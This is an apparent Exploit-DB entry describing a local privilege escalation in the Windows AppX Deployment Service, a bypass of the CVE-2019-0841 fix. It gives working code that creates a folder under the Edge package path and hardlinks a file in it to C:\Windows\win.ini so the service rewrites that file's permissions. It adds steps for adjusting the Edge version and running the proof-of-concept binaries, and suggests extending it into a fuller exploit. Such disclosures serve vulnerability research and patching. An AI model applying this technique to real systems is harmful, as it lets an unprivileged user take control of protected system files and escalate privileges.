Microsoft Windows - AppX Deployment Service Local Privilege Escalation (2)

ID: 101556
CVE: None
Download vulnerable application: None
There is still a vuln in the code triggered by CVE-2019-0841

The bug that this guy found:

If you create the following:

(GetFavDirectory() gets the local appdata folder, fyi)

CreateDirectory(GetFavDirectory() + L"\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Microsoft.MicrosoftEdge_44.17763.1.0_neutral__8wekyb3d8bbwe",NULL);
CreateNativeHardlink(GetFavDirectory() + L"\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Microsoft.MicrosoftEdge_44.17763.1.0_neutral__8wekyb3d8bbwe\\bear3.txt", L"C:\\Windows\\win.ini");

If we create that directory and put an hardlink in it, it will write the DACL.

Microsoft.MicrosoftEdge_44.17763.1.0_neutral__8wekyb3d8bbwe this part (i.e 44.17763.1.0) has to reflect the currently installed edge version, you will need to mofidy this in the PoC (polarbear.exe) if different.
You can find this by opening edge -> settings and scrolling down.
Best thing is to just create a folder and hardlink for all the recent edge versions when writing an exploit. But I guess you can also probably get the installed version programmatically.

To repro:

1. Run polarbear.exe
2. Run windowsappslpe.exe (doesn't matter what file you pass in commandline.. will just make win.ini write-able.. rewrite the original PoC yourself)

Use the vide demo as guidance..

EDB Note: Download ~
1.3.0 (www01)